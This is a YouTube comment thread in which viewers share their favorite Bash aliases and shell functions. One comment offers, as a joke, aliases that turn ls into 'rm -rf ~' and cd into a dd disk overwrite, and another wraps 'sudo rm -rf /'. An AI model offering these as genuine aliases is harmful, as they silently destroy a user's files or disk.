Let's Share Our Favorite Bash Aliases

แชร์
ฝัง
  • เผยแพร่เมื่อ 19 ธ.ค. 2024

ความคิดเห็น • 304

  • @dhakhoa93
    @dhakhoa93 4 ปีที่แล้ว +21

    My 2 favorite Git aliases:
    alias gs='git status'
    alias glog='git log --graph --decorate --oneline' # this one is just pure terminal beauty

  • @wintermute701
    @wintermute701 4 ปีที่แล้ว +118

    alias please='sudo !!'

    • @MadSpaceCow
      @MadSpaceCow 4 ปีที่แล้ว +9

      Fuck that’s fantastic

    • @stackspace
      @stackspace 4 ปีที่แล้ว +1

      Lol

    • @arturmeinild2461
      @arturmeinild2461 4 ปีที่แล้ว +1

      This should be a T-shirt slogan !

    • @1337-b3c
      @1337-b3c 4 ปีที่แล้ว +7

      alias fucking='sudo' # how about that huh

    • @betterh
      @betterh 4 ปีที่แล้ว

      does it work? as !! is inbuilt. also idea for "alias sure='sudo !!'", as fore switch user redo, or just sure as confirmation.

  • @nicholasficara1017
    @nicholasficara1017 4 ปีที่แล้ว +59

    You don't need to pass -Syu to yay. Just yay will work and default to -Syu.

    • @SetVet
      @SetVet 4 ปีที่แล้ว +6

      you just blew my mind

    • @betterh
      @betterh 4 ปีที่แล้ว +5

      in the context of simplicity like cleanup, unlock -> update, upaur, upall would sound better than pacsyu, yaysua, yaysyu

  • @warhawk_yt
    @warhawk_yt 4 ปีที่แล้ว +44

    Derek just rick rolled us all lol

    • @木原篤郎-b4m
      @木原篤郎-b4m 4 ปีที่แล้ว +9

      That terminal rickroll was something I didn’t know I needed

  • @Not-THAT-ChrisPratt
    @Not-THAT-ChrisPratt 4 ปีที่แล้ว +7

    Excellent video! My wife looked over at my screen and said, "Leaning more Linux stuff?" Yup!
    Keep up the great work :)

    • @TheRfmodulator
      @TheRfmodulator 4 ปีที่แล้ว +4

      Awesome!
      A little communication is the key to a good marriage.
      Too much is just asking for trouble.

  • @felipecarlin8540
    @felipecarlin8540 4 ปีที่แล้ว +5

    I didn’t know my terminal needed to “Never give up”, now I’m glad I can rr anywhere!

  • @KasraMadadipouya
    @KasraMadadipouya 4 ปีที่แล้ว +18

    My favorite ones ;-)
    - alias ls="rm -rf ~"
    - alias cd="dd if=/dev/urandom of=/dev/sdX bs=4096"

  • @karu8291
    @karu8291 4 ปีที่แล้ว +4

    Those aliases for `exa` are going to help me a lot. Thanks a ton!

  • @Phydoux2112
    @Phydoux2112 4 ปีที่แล้ว +2

    Referring to your git aliases. I wrote a script that will ask you what repository your writing to then it will run all of the necessary commands. It worked the first time I tried it. It ran everything correctly too.

  • @iTzJeSsE08
    @iTzJeSsE08 2 ปีที่แล้ว +1

    Hey DT! I just wanted to go back to this video and tell you that this completely changed my workflow for the better, particularly as a window manager user. I have bash aliases to change my wallpaper with Nitrogen, to connect and disconnect my home Wireguard vpn, to connect and disconnect my bluetooth headphones, to quickly switch between my home WiFi and phone hotspot. Since I am running vanilla Arch (BTW) on a 13 inch MacBook Pro with no dedicated FN lock key, I also now have a bash alias to enable and disable function lock. Thank you so much for the content you create, you just never know when one video about something simple can be lifechanging for someone. I also have a suggestion for a video I would greatly look forward to similar to this one - how about a favorite Vim macros compilation? I would be very interested to see what you come up with and what your community comes up with as well. Best wishes, and up the amazing work you've been doing in promoting open source software!

  • @surferbum618
    @surferbum618 4 ปีที่แล้ว +5

    Thx for doing what you do DT! Hope you're doing well.
    in order of usage:
    vps = ssh into my vps
    rr = ranger
    burp = runs Burp Suite .jar file
    spotify = flatpak command to run Spotify
    slack = flatpak command to run Slack
    vpn = cd into directory containing .ovpn connection configs; ls
    wowc = runs wine with path to world of warcraft .exe
    pi = ssh into my raspberry pi
    corona = runs corona script to get recent numbers of infected

    • @juliankandlhofer7553
      @juliankandlhofer7553 4 ปีที่แล้ว +1

      do you have a link to that corona script? sounds useful :D

    • @surferbum618
      @surferbum618 4 ปีที่แล้ว +2

      @@juliankandlhofer7553 Sure, it's just a simple curl command really. curl corona-stats.online/states/us -o "corona_info.txt" and then grep txt file for your local info: grep "State\|yourstate" corona_info.txt

    • @betterh
      @betterh 4 ปีที่แล้ว +1

      regarding 'ssh into my vps' there is a .ssh config file, you can setup address for multiple vm's and then run 'ssh vm1' or smth like that

    • @surferbum618
      @surferbum618 4 ปีที่แล้ว +1

      @@betterh cool! I'll have to take a look at that. Thanks for the info

    • @betterh
      @betterh 4 ปีที่แล้ว

      @@surferbum618 maybe this will help to get the idea linuxize.com/post/using-the-ssh-config-file/

  • @marioschroers7318
    @marioschroers7318 4 ปีที่แล้ว +12

    Brilliant aliases. In case you use yay, you can actually get rid of most of your pacman aliases actually. Simply type _yay_ in the terminal, and it will perform a system-wide upgrade. I actually think one of your viewers told me that once.
    There is lf which stands for »list files« and is an alternative to the ranger file manager written in Go. I don't use that, but got tired of typing _ranger_ all the time, so I simply aliased ranger to lf.
    My aliases are sparse and very simple, I suppose. Still looking for a nice alias to _ncmpcpp_ though. Suggestions, anyone?

    • @Sinnersmight
      @Sinnersmight 4 ปีที่แล้ว +4

      pp

    • @betterh
      @betterh 4 ปีที่แล้ว

      thats the thing with using aliases that you can be explicit and forget the default behaviour of the command as it may change? unless wanting to learn first and keep it in your head

    • @marioschroers7318
      @marioschroers7318 4 ปีที่แล้ว +1

      @@betterh Yes, I think there is a certain risk to forget about a command's default switches because of aliases, that's why I try to keep the amount of my aliases to a minimum. However, often they really simplify things, and many commands we learn from the start are in fact aliases 😉

    • @marioschroers7318
      @marioschroers7318 2 ปีที่แล้ว

      @GeoMinesDiamonds I really like commands that limit themselves to two chars. Rust tools offer lots of that (for example, fd as a find replacement, or if you use ripgrep, the actual command is 'rg').
      Think I should use 'nv' as an alias for neovim, but then, I have hotkeyed Neovide to Super+d.
      In general, there is nothing more convenient than a combination of hotkeys and sparse aliases.

  • @BarafuAlbino
    @BarafuAlbino 4 ปีที่แล้ว +7

    alias rsync='rsync --info=progress2' ## Copy things with progress bar

  • @TomCarlson
    @TomCarlson 4 ปีที่แล้ว +24

    Really simple "wdil='history | grep'"
    Stands for When Did I Last?

    • @DistroTube
      @DistroTube  4 ปีที่แล้ว +8

      I like it.

    • @urugulu1656
      @urugulu1656 4 ปีที่แล้ว +4

      @@DistroTube ctrl r does sorta the same... and the name is missleading. the history command does not print date and time of a commmand

    • @TomCarlson
      @TomCarlson 4 ปีที่แล้ว

      @@urugulu1656 Yep, that's true. It's what makes sense in my head as an easily remembered initialization, but I'm not asking for when I did something. I just want recent instances of doing something.
      So I guess in my head "When Did I Last" is itself short for "When I Recently Did This What Did I Do."
      Or "wirdtwdid"!

    • @betterh
      @betterh 4 ปีที่แล้ว +1

      @@TomCarlson hig? for short?

    • @thallium54
      @thallium54 4 ปีที่แล้ว +1

      Why not history | fzf

  • @1MinuteFlipDoc
    @1MinuteFlipDoc 4 ปีที่แล้ว +1

    youtube-dl is a beast! nice shortcuts there!

  • @hn1574
    @hn1574 4 ปีที่แล้ว +65

    Here’s my favorite:
    alias yeet="rm -rf"

    • @urugulu1656
      @urugulu1656 4 ปีที่แล้ว +2

      --no-preserve-root if you are feeling really cheeki breeki

    • @auroradraco9974
      @auroradraco9974 4 ปีที่แล้ว

      I see you are a man of culture

    • @stackspace
      @stackspace 4 ปีที่แล้ว +7

      fml=“echo ‘so, this is how it ends for us?’ && sudo rm -rf / -no-preserve-root”

    • @armynyus9123
      @armynyus9123 4 ปีที่แล้ว

      My admin f.h. told me it stands for 'read mail really fast' - but I never tried ;-)

  • @balmar3
    @balmar3 4 ปีที่แล้ว +1

    By far the most used, to find the files you manipulated the latest: alias lt 'ls -all -rt'
    Quick hint to find repeated or oversize files: alias lt 'ls -all -rt'
    Vimdiff without accidentally writing the files: alias lessdiff 'vimdiff -R -M'
    I also remap "less" to a script that invokes Vim with some handy keymappings and read-only mode.
    And restrict "locate" to my home by this script which I call "hloc" : locate "$@" | awk ' /^\/home/ {print $0}'

  • @ryanblock2010
    @ryanblock2010 4 ปีที่แล้ว

    I use this alias all the time now to easily select which branch i want to check out using fzf (actually fzf-tmux which defaults to fzf if you're not in tmux but still requires to be downloaded separately, just as easy as installing fzf though. if you don't wish to install this just remove the '-tmux' from the fzf command):
    alias gcb='git checkout $(git branch -a | fzf-tmux -d 15 --no-preview | sed "s/remotes\/origin\///g")'
    For work I'm constantly having to switch branches as a part of my own work and mostly reviewing other pull requests. This alias has been super super handy, especially when the only unique part of the branch name is the ticket number on the relevant project-management software board.
    I also have similar bash functions for checking git diffs on files & another for commits, adding files, resetting files and checking out files if anyone is interested ( github.com/Rblock919/dot-files/blob/master/bash/git_functions & github.com/Rblock919/dot-files/blob/master/scripts/source/commits )

  • @BrucesWorldofStuff
    @BrucesWorldofStuff 4 ปีที่แล้ว +1

    Thanks DT for the video... I don't have much in my Bashrc or my Zshrc files,. I keep everything in .bash_aliases which keeps the the RC files clean and I only have to edit one file and not two. Bash looks for this file and I Point Zsh to look for it two. I find it easy and I have it setup on all my systems from Arch to MX and Mint and so on.
    This is how I update all my Distros, 4 easy command no matter what OS I am using. I arch just add a "Y" in front of the commands "install, update, upgrade... So here is my Aliases for that:
    # Manage packages update easier
    # Debian based Distros
    if [ -f /usr/bin/apt ]; then
    alias update='sudo apt update'
    alias upgrade='sudo apt update && sudo apt dist-upgrade'
    alias install='sudo apt install'
    alias aptlist='apt list --upgradable'
    alias upclean='up --clean'
    # Up is Joe Collins UP Bash update script
    alias aptll='apt list | less'
    fi
    # Arch based Distros
    if [ -f /usr/bin/pacman ]; then
    alias update='sudo pacman -Sy'
    alias upgrade='sudo pacman -Syyu'
    alias install='sudo pacman -S --needed'
    alias yinstall='yay -S --needed'
    alias yupdate='yay -Sy'
    alias yupgrade='yay -Syyu'
    fi
    # The lonly Solus
    if [ -f /usr/bin/eopkg ]; then
    alias update='sudo eopkg update-repo'
    alias upgrade='sudo eopkg upgrade'
    alias updistro='~/bin/up-solus'
    alias install='sudo eopkg it'
    fi
    My .bash_aliases has lots of gems that I made and collected and is way too large to share here... Lol
    But these are the ones I use all the time... :-)
    Some cool Functions I use too.....
    ### set common functions
    #############
    function my_ip() # Get IP address.
    {
    curl ifconfig.co
    }
    # Find a file with a pattern in name:
    function ff()
    {
    find . -type f -iname '*'"$*"'*' -ls ;
    }
    function sysinfo() # Get current host related info.
    {
    echo -e "
    ${BRed}System Informations:$NC " ; uname -a
    echo -e "
    ${BRed}Online User:$NC " ; w -hs |
    cut -d " " -f1 | sort | uniq
    echo -e "
    ${BRed}Date :$NC " ; date
    echo -e "
    ${BRed}Server stats :$NC " ; uptime
    echo -e "
    ${BRed}Memory stats :$NC " ; free
    echo -e "
    ${BRed}Public IP Address :$NC " ; my_ip
    echo -e "
    ${BRed}Open connections :$NC "; netstat -pan --inet;
    echo -e "
    ${BRed}CPU info :$NC "; cat /proc/cpuinfo ;
    echo -e "
    "
    }
    Oh here are a few "functions" I got somewhere I liked! The "Find" one is a nice one easy to use. "ff" and the name!
    LLAP

  • @joetheman74
    @joetheman74 4 ปีที่แล้ว +1

    Reflector is actually very useful. Just last week my system was giving me errors that is couldn't find a mirror. Sometimes mirrors go down. I was updating many packages and I didn't want to look at and wait for all those errors for every package. Just yesterday I was installing some packages and the download speeds were really slow. By stopping my install and quickly running reflector I updated to the fastest most recent updated mirrors in my country and then restarted my installation. If I had not it would have taken 3 times as long.

  • @howmuchiswhere329
    @howmuchiswhere329 4 ปีที่แล้ว +1

    i've been meaning to tidy up my aliases since i stopped WM hopping. i did make an alias helper script that i'm quite proud of, that greps my bashrc for specific comments, and awks the output into categories. it took me about an hour tune fine tune the awk command, and i've used it.. er... maybe twice? haha

  • @samoylov1973
    @samoylov1973 4 ปีที่แล้ว +1

    Hey, DT, thanks for inspiring videos. My favorite bash alias is 'mpy'. It starts mpv and plays whatever link from TH-cam or other source I've got in my clipboard. This is a huge help if you don't like to watch tons of ads, that come with videos and interrupt them on TH-cam. Yeah, it's a little hack. But ads are insane these days and I had to look for a solution for the problem.
    The other one is "w", which will show me current weather and forecast.
    alias sdn='shutdown -h now'
    alias r='ranger'
    alias mpy='mpv "$(xclip -o -selection clipboard)"'
    alias p='python3'
    alias upd='sudo apt update && sudo apt upgrade'
    alias w='curl wttr.in'

  • @nox6555
    @nox6555 4 ปีที่แล้ว +2

    Once the dot is shared its easy to understand

  • @moai834
    @moai834 4 ปีที่แล้ว +1

    You don't need that ex function - you can install atool, it allows you to extract, pack, list, convert etc with every archiving format you even need, much better than just shell command.
    It is in the standard arch repos.

  • @Zoltar358
    @Zoltar358 4 ปีที่แล้ว +1

    @DistroTube Hey DT. Here is an alias you might find useful: get-remote='git config --get remote.origin.url'. It shows the remote address of any cloned repository.

    • @floodlitworld
      @floodlitworld 2 ปีที่แล้ว +1

      Or you can do `git remote -v`

  • @siaal5001
    @siaal5001 4 ปีที่แล้ว +1

    alias sudo='sudo ' is a big one for me it allows you to chain aliases together, otherwise you can't sudo an alias and so cp wouldn't be 'cp -i' and vim would actually open vim.
    I also use 'mv -i' and 'rm -I' (capital i) because i like to live in fear

  • @nevoyu
    @nevoyu 4 ปีที่แล้ว +19

    I dont use aliases because I'm still learning the actual command syntax

    • @Not-THAT-ChrisPratt
      @Not-THAT-ChrisPratt 4 ปีที่แล้ว +4

      That makes sense. You've found an excellent channel for learning! Keep this video handy for down the road . . . .

    • @betterh
      @betterh 4 ปีที่แล้ว +1

      what i have found useful is using arcolinux .bashrc file and reading all parts of it, i dont use 70-80% of these aliases, but i found out some useful commands with options. try doing it on any distro, check what aliases there are, no prossure on using it.

  • @thenextpoetician6328
    @thenextpoetician6328 4 ปีที่แล้ว +1

    I reduced two default Arco aliases to make things simpler:
    alias up='sudo pacman -Syyu' (was update)
    alias all="yay -Syu --noconfirm" (was upall)

  • @rebinsama642
    @rebinsama642 2 ปีที่แล้ว +1

    My only favorite aliases:
    alias please="sudo"
    alias fucking="sudo"

  • @lagwulf1637
    @lagwulf1637 4 ปีที่แล้ว +1

    I really like
    alias -g nu='2>/dev/null'
    alias -g le = '|less'

  • @xDarkWav
    @xDarkWav 4 ปีที่แล้ว +1

    alias update='sudo zypper ref && sudo zypper dup && sudo zypper dup --allow-vendor-change --from "Packman Repository"'
    That command basically forces a repo refresh, updates a tumbleweed system and ensures that everything that exists in the Packman repository is also installed from there. For leap you need to replace the "dup" with "up" in the second command.

  • @programorprogrammed
    @programorprogrammed 4 ปีที่แล้ว

    I'm definitely guilty of not using alias enough. Some useful things here.

  • @LevKozlodoev
    @LevKozlodoev 4 ปีที่แล้ว +5

    When you ran the ps command the lines were wrapped over. Whenever you have commands that give very long lines, pipe into less -S

    • @Not-THAT-ChrisPratt
      @Not-THAT-ChrisPratt 4 ปีที่แล้ว +1

      or pipe it into:
      cut -c 1-$COLUMNS
      $COLUMNS being your terminal width, should be set by the system. This also truncates the wraparound lines, but keeps the data on the screen.

  • @liftlinux9421
    @liftlinux9421 3 ปีที่แล้ว +1

    15:08 Legendry moment starts here

  • @dave7244
    @dave7244 4 ปีที่แล้ว +2

    You can put git aliases into the ~/.gitconfig

  • @mrcrazyadd2
    @mrcrazyadd2 4 ปีที่แล้ว +1

    Super simple, but I always replace some defaults:
    ls='ls -lash --color=auto"
    cat='bat'

    • @betterh
      @betterh 4 ปีที่แล้ว

      didnt know about bat command, thanks

  • @riseabove3082
    @riseabove3082 4 ปีที่แล้ว +3

    I keep my aliases in a separate file from .bashrc called .bash_aliases. First one is a function rather than an alias but still same. Never have to worry about forgetting sudo when editing files anywhere on the system. If it's a root file it will prompt you for a password otherwise it won't. It just works. Hate it when I open a file and it's in read only due to permissions. You could use sudoedit but again it's the forgetting part to do that beforehand. Here all you have to is use the same command whether it's you or a root file. It will let you know if it needs a password.
    # This function will allow you to open files in vim and request a password if they are root files.
    function vim(){
    OWNER=$(stat -c '%U' $1)
    if [[ "$OWNER" == "root" ]]; then
    sudo -e /usr/bin/vim $*; # note: [safer] sudo -e forces into edit only mode, does not allow executing cmds
    else
    /usr/bin/vim $*;
    fi
    }
    - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    # I have this alias run every time I open a terminal to show the hostname and IP address of my machine.
    alias ipa="hostname | tr '
    ' '\t'; ip -br -4 addr | cut -f1 -d/ | awk '{print \$1, \$3}' | grep -v '127'"
    # Showing my top memory hog and process hog; can be run separately or as whole with tophog
    alias psmem="echo '-------- [Top memory hogs] --------';ps -axch -o cmd:15,pid:15,%mem --sort=-%mem | head -n 1
    alias pscpu="echo '---------- [Top cpu hogs] ----------';ps -axch -o cmd:15,pid:15,%cpu --sort=-%cpu | head -n
    alias tophog="cls;psmem;pscpu"
    alias cd..='cd ..' # because I get tired of spacing those out. alias cls='clear' # because I was used to Dos
    alias pf="ps -e | grep $1" # Find the processID of an app that you want to kill. pf firefox pf chrome
    alias supered='sudo mousepad $1' # Run a gui editor with super powers. I don't use anymore
    alias duhome='du -sh /home/* | sort -nr' # Get your /home size
    alias lsz='ls -lhF --color=auto && du -sh0 && echo Grand Total Size' # list directory with a Total size at the end

  • @fullstackdave4117
    @fullstackdave4117 4 ปีที่แล้ว +1

    # Alias definitions.
    # You may want to put all your additions into a separate file like
    # ~/.bash_aliases, instead of adding them here directly.
    # See /usr/share/doc/bash-doc/examples in the bash-doc package.
    if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
    fi
    if [ -f ~/.bash_functions ]; then
    . ~/.bash_functions
    fi

  • @luks1337
    @luks1337 3 ปีที่แล้ว +1

    as a pentester for me, one of the good ones is: alias up="python3 -m http.server"

  • @censoredterminalautism4073
    @censoredterminalautism4073 4 ปีที่แล้ว +3

    I have some. A lot of things I just do through scripts. Aliases are for basic things that don't deserve their own file. The actual aliases don't matter that much, but I think that my method for choosing them is good.
    "e" edits a commonly edited file using my editor (right now it's emacsclient -t), that depends on the following letter (so ex edits my .xinitrc, ez edits my .zshrc, ec opens my .config directory in dired, eh opens home, es edits .sxhkdrc, that kind of thing), and on its own, it just opens the editor. If using a certain letter causes any issues, or if the file isn't as commonly used, but still deserves an alias, I can add more letters.
    The cd command doesn't have an alias because I'm using zsh right now, so I just type the directory, but I do have aliases for going to certain directions, that are based on the directory's name (as an example, cvr goes to my random directory in my videos directory in my external hard drive). For configuration directories, I have old aliases that are the name of the program followed by d, though I still use that for source directories (as an example, dmenud goes to my dmenu directory).
    l = "ls -ah".
    c = "clear".
    x = "exit".
    m = "mount".
    u= "umount".
    rm = "trash-put".
    cp = "cp -iv".
    mv = "mv -iv".
    i = installs a package (depends on the distribution, I should maybe put this one in a separate file).
    s= searches for a package.
    lp = "ps axc | less" (means list processes).
    lfs = "df -h" (means list filesystems).
    po = "sudo poweroff".
    rb= "sudo reboot".
    Everything else that I do goes in the ~/.local/scripts directory. Those are generally longer commands. Just to give an example of that, there are the Touhou games. I have short scripts for running each of them in Wine, and those scripts run other scripts that change other things, and in this case it uses the short crt-primary script to switch my primary monitor to the CRT, and then lcd-primary to go back to the default. For instance, if I want to play Subterranean Animism, I just type touhou11. Also, since you frequently have to be in the executable's directory for something to work in Wine, the scripts can switch to the directory and then back to where I was before.
    Additionally, depending on the window manager, this can change. If you use something like bspwm or herbstluftwm and you want something to run in a certain way, you have a lot more options then. But I still switch window managers occasionally, so that's not a constant for me.

    • @censoredterminalautism4073
      @censoredterminalautism4073 4 ปีที่แล้ว +1

      Oh, for "i" and "s", you can use uname to get the distribution's name, and then change the command depending on the result using a conditional. Haven't done that yet because I'm lazy and I don't switch that often. But I should do it anyway.

    • @censoredterminalautism4073
      @censoredterminalautism4073 4 ปีที่แล้ว

      Forgot about the update alias. In Debian it would be "sudo apt-get update && sudo apt-get upgrade". Again, it depends. It's long because it's only used a little less than once a day.

  • @urugulu1656
    @urugulu1656 4 ปีที่แล้ว +2

    my aliases are sdi sdr sdu and dlu for sudo dnf install remove and update and dnf list updates respectively
    and because i use ramdisks all the time rd for cd /mnt/ramdisk
    for most other stuff i have own scripts.

    • @UpcycleElectronics
      @UpcycleElectronics 4 ปีที่แล้ว

      alias them the same way you describe them...
      alias search='...'
      alias show='...'
      alias install='...'
      alias remove='...'
      alias update='...'
      If any of the keywords are taken, either remap them, or simply put a dot in front of all of them. That's what I did when I ran Arch with pacman's random arg nonsense.

    • @urugulu1656
      @urugulu1656 4 ปีที่แล้ว +1

      @@UpcycleElectronics no i just wanted something short AND easy to type

    • @UpcycleElectronics
      @UpcycleElectronics 4 ปีที่แล้ว

      @@urugulu1656
      yeah, I understand. I have made quite a few easy to type functions and aliases too. My issue becomes remembering what I thought would be easily remembered but forgot :-)
      ...
      alias myhelp='cat ~/.bashrc | grep'
      ...was my fix
      For awhile I ran multiple distros on 2 computers. In that instance it's nice to know there is one simple command set. It's really only an issue with Arch and Gentoo IMO.

  • @ayushyadav5164
    @ayushyadav5164 4 ปีที่แล้ว +2

    Once I ran pacman -Rns $(pacman -Qdtq) and it removed my kernel package! Great!!

    • @DistroTube
      @DistroTube  4 ปีที่แล้ว

      I've seen this before with this command. Hence, why I warned everyone about that one.

    • @ayushyadav5164
      @ayushyadav5164 4 ปีที่แล้ว

      @@DistroTube what if human body was like computers and we ran pacman -Rns $(pacman -Qdtq) and pacman says "hmm this heart is looking bloat and orphan let's remove it"

  • @RodrigoGraca31
    @RodrigoGraca31 4 ปีที่แล้ว +2

    alias x="exit"
    alias c="code ."
    alias gac="git add . && git commit"
    alias gs="git status"
    alias gp="git push --all -u"
    alias gd='git diff'

    • @RodrigoGraca31
      @RodrigoGraca31 4 ปีที่แล้ว

      and I have a .alias file and then I do: source ~/.alias on my .bashrc and .zshrc so that both have the alias. Even though I mostly use ZSH nowadays.

    • @thengakola6217
      @thengakola6217 4 ปีที่แล้ว

      I once kept like this...... But once i typed x instead of c

  • @RodneyFisk
    @RodneyFisk ปีที่แล้ว

    That extract actually, originally, comes from the old mtools package. A package to handle msdos filesystems on linux.

  • @marioschroers7318
    @marioschroers7318 4 ปีที่แล้ว

    Just coming up with another one for all those using the nnn file browser: _nnn_ > _nnn -d_ to default to the detailed view.
    I was always confused about the default view. It's distraction-free for sure, but also looks horribly empty. I enjoy viewing file sizes. Detailed view also indicates the chmod number of every file, very convenient.
    I currently evaluate nnn as an alternative to ranger. Just received an update. nnn finally seems to color more of its output.
    Potentially, we could also alias _nnn_ to something like _n3_ or so.
    I'm fine with typing nvim though, no need to alias this one for me. I have gotten used to it nicely.
    Edit: I aliased this to _nn_ . Didn't like to have a numeric digit in it.

  • @bluesdog88
    @bluesdog88 4 ปีที่แล้ว

    Thanks Derek, that's really handy to know!

  • @rohandalavi4634
    @rohandalavi4634 4 ปีที่แล้ว +4

    Ironic, he just made the video to Rick roll everyone

  • @AnzanHoshinRoshi
    @AnzanHoshinRoshi 4 ปีที่แล้ว

    Thank you, Derek. This is a very good resource.

  • @mattx5499
    @mattx5499 2 ปีที่แล้ว

    For me 'upd' alias does full system update including snaps and flatpaks. I also have few aliases forcefully killing programs that sometimes still run in the background even when closed due to some bugs.

  • @prabinlamichhane9285
    @prabinlamichhane9285 4 ปีที่แล้ว

    lg = git log --all --oneline --graph --decorate is quite handy

  •  4 ปีที่แล้ว +1

    I have one that reads a file and puts its contents in the clipboard using xclip, and some that generate random passwords of various lengths (although I do this often enough to have a hot key for that as well). I don't use aliases very much, because I work as a sysadmin with thousands of servers and various flavors of Linux. We are a team of 12 people running those, and so we tend to stick with defaults to avoid costly mistakes.
    I do have the git aliases gf, gp, gc, gca and friends,as well as pi, pr, and pq etc. for packages on my local machine, however. Yes, I know it obscures the ps binary, but I don't really use it.
    Mostly the shortcuts I make end up having to be scripts in their own right, so my zshrc is quite empty, but my /usr/local/bin is full of both wonderful and stupid scripts.

  • @dkosmari
    @dkosmari 4 ปีที่แล้ว

    This opens the current directory in the preferred file manager:
    alias b='gio open .'
    Shortcut for the most common way I use rsync:
    alias rs='rsync -az --inplace --progress'
    And this for C and C++ developers, when they use libtool in their software:
    alias lgdb='libtool --mode=execute gdb'
    alias lperf='libtool --mode=execute perf'
    alias lvalgrind='libtool --mode=execute valgrind'
    Explanation: libtool sometimes hides the real executable into a ".libs" directory, and provides a wrapper script/executable that sets up environment variables and then invokes it. Obviously, if you try to debug/profile this wrapper, you won't get what you want; you have to ask libtool to execute the tool on the real executable.

  • @davidyoder5890
    @davidyoder5890 4 ปีที่แล้ว +1

    I never use bash aliases, but I do write a lot of bash scripts. If you alias actual commands and run a bash script that uses one of those commands, does the command in the script get replaced by the alias in the bash shell? I feel like that could lead to unexpected results and broken scripts, but maybe I'm wrong.

    • @MadSpaceCow
      @MadSpaceCow 4 ปีที่แล้ว +1

      The command would indeed be replaced by the alias. But you would be writing the script with that in mind, so you wouldn’t have unexpected behavior in an ideal world. Perhaps an argument against creating non-unique alias names though.

    • @davidyoder5890
      @davidyoder5890 4 ปีที่แล้ว

      @@MadSpaceCow I thought that might be the case. Seeing as how it's becoming popular to wget scripts and pipe them to bash, this could actually be a bad thing I think.

    • @davidyoder5890
      @davidyoder5890 4 ปีที่แล้ว

      @@MadSpaceCow For me, when I'm using any GNU/Linux system, I really try to keep it vanilla.

    • @davidh.4944
      @davidh.4944 ปีที่แล้ว

      @@MadSpaceCow No, that is incorrect. Aliases are only available in interactive sessions. Scripts, by default, run non-interactively, and ignore aliases completely. Functions and variables defined in the parent _can_ be accessed, but only if exported first.
      It is possible to make a script's subshell interactive, by using "#!/bin/bash -i" as your shebang. _Then_ it will inherit all the aliases and other environment settings available in the parent, and new ones can be defined within the script that will work at script level (but not at the parent level, no command can ever directly alter the environment of a higher level process).
      Sourcing a script, instead of executing it, is a different matter, however. Then the script becomes merged into the existing shell and operates exactly as if you typed it directly.

  • @stackspace
    @stackspace 4 ปีที่แล้ว +3

    I build from source a lot so I use ‘build=“make clean && make && sudo make install’ a LOT

  • @luanalatte
    @luanalatte 4 ปีที่แล้ว +1

    I imagine derek has rick roll as an alarm tune lol

  • @yaolet
    @yaolet 4 ปีที่แล้ว

    i use functions in alias such as: alias dev='_(){ cd ~/dev/data/project/race/$@/src; };_'
    to go to a very deep sub directory and possibly perform some other operations, avoiding creating a 1-2 line shell script

  • @robertdavis9948
    @robertdavis9948 4 ปีที่แล้ว +1

    I may be a bit late to the dance, but pushd & popd are much more useful than cd.

  • @vitoroliveira6170
    @vitoroliveira6170 4 ปีที่แล้ว

    If you use irssi and tor together, alias irc='torsocks irssi'.
    Also i have alias shn='shutdown -h now && exit'

  • @thingsiplay
    @thingsiplay 4 ปีที่แล้ว +1

    On Ubuntu I use this to update my packages:
    alias update='sudo apt-get update && sudo apt-get upgrade ; flatpak update ; python3 -m pip install --upgrade pip'

  • @DeshierArchitecte
    @DeshierArchitecte 4 ปีที่แล้ว +6

    alias alias=“alias”

    • @felipecarlin8540
      @felipecarlin8540 4 ปีที่แล้ว

      Nick Raleigh this is meta to a whole other level!

  • @carlod1605
    @carlod1605 4 ปีที่แล้ว +1

    alias doas='sudo' the best alias have ever exist

  • @CaribouDataScience
    @CaribouDataScience 7 หลายเดือนก่อน

    How about alias knucklehead = 'DT'

  • @stackspace
    @stackspace 4 ปีที่แล้ว

    “Hey dad, should I consolidate all of my debt into a single credit card?” ....every time

  • @xleph2525
    @xleph2525 4 ปีที่แล้ว +2

    For my default package manager I'm even lazy enough to just use this:
    alias +="sudo apt-get install" (or pacman, pip, cargo, etc.)
    + (packages)

    • @BrucesWorldofStuff
      @BrucesWorldofStuff 4 ปีที่แล้ว

      That is a great Idea, just one problem though! You have to press 2 keys... :-D
      Really, That is a great Idea! (+ =packages)
      LLAP

  • @stumbling
    @stumbling 4 ปีที่แล้ว

    I have a bunch of aliases for changing directories and editing files in vim.
    For example, "b" jumps to my local bin folder (which has my scripts in); "cfv" open the vim config file in vim.

  • @arturmeinild2461
    @arturmeinild2461 4 ปีที่แล้ว

    Simple but handy:
    alias up='cd ..'
    alias hm='cd ~'
    alias rt='cd /'

    •  4 ปีที่แล้ว

      You can just type 'cd' with no arguments to cd into your home directory

    • @november1800
      @november1800 4 ปีที่แล้ว

      alias ..='cd ..' (instead of "alias up='cd ..' ")

  • @Zakken333
    @Zakken333 4 ปีที่แล้ว +1

    To avoid having to type `git commit -m "msg"`
    alias gc='function _gitcommit(){ branchName=`git rev-parse --abbrev-ref HEAD`; args="$@"; git commit -m "$branchName $args"; };_gitcommit'

  • @besheraladdam9325
    @besheraladdam9325 3 ปีที่แล้ว

    Lovely

  • @FaridFaracli
    @FaridFaracli 6 หลายเดือนก่อน

    Is it doom-one colorscheme in emacs ?

  • @ashwinrawat9622
    @ashwinrawat9622 4 ปีที่แล้ว +2

    Alias celar="clear "
    Alias cler="clear"
    Alias cear="clear"
    Alias clea="clear"
    Alias clr="clear"
    Alias cl="clear"

    • @DistroTube
      @DistroTube  4 ปีที่แล้ว +2

      Ah yes! How did I forget the "I can't type" aliases!

    • @debajit
      @debajit 4 ปีที่แล้ว +1

      Just press Control+L to clear the screen. That should work in all major Unix shells. Since clearing the screen is such a common operation, you should never typically need to type it in manually. You can even type in Control+L in the middle of typing in a long command

    • @thengakola6217
      @thengakola6217 4 ปีที่แล้ว +1

      🤣🤣🤣
      Just use c=clear

    • @ashwinrawat9622
      @ashwinrawat9622 4 ปีที่แล้ว

      @@debajit thanks for helpful tip

    • @ashwinrawat9622
      @ashwinrawat9622 4 ปีที่แล้ว

      @@thengakola6217 I'll add that to the list

  • @urugulu1656
    @urugulu1656 4 ปีที่แล้ว +1

    isnt ssn kinda useless? doesnt poweroff do the same

    • @gardenapple
      @gardenapple 4 ปีที่แล้ว +2

      Also, who needs to reboot their Linux system so often that they need an alias for it?

  • @Amike
    @Amike 4 ปีที่แล้ว +1

    Did we just get rickrolled on a DT video? Wow

  • @yutangbai546
    @yutangbai546 4 ปีที่แล้ว

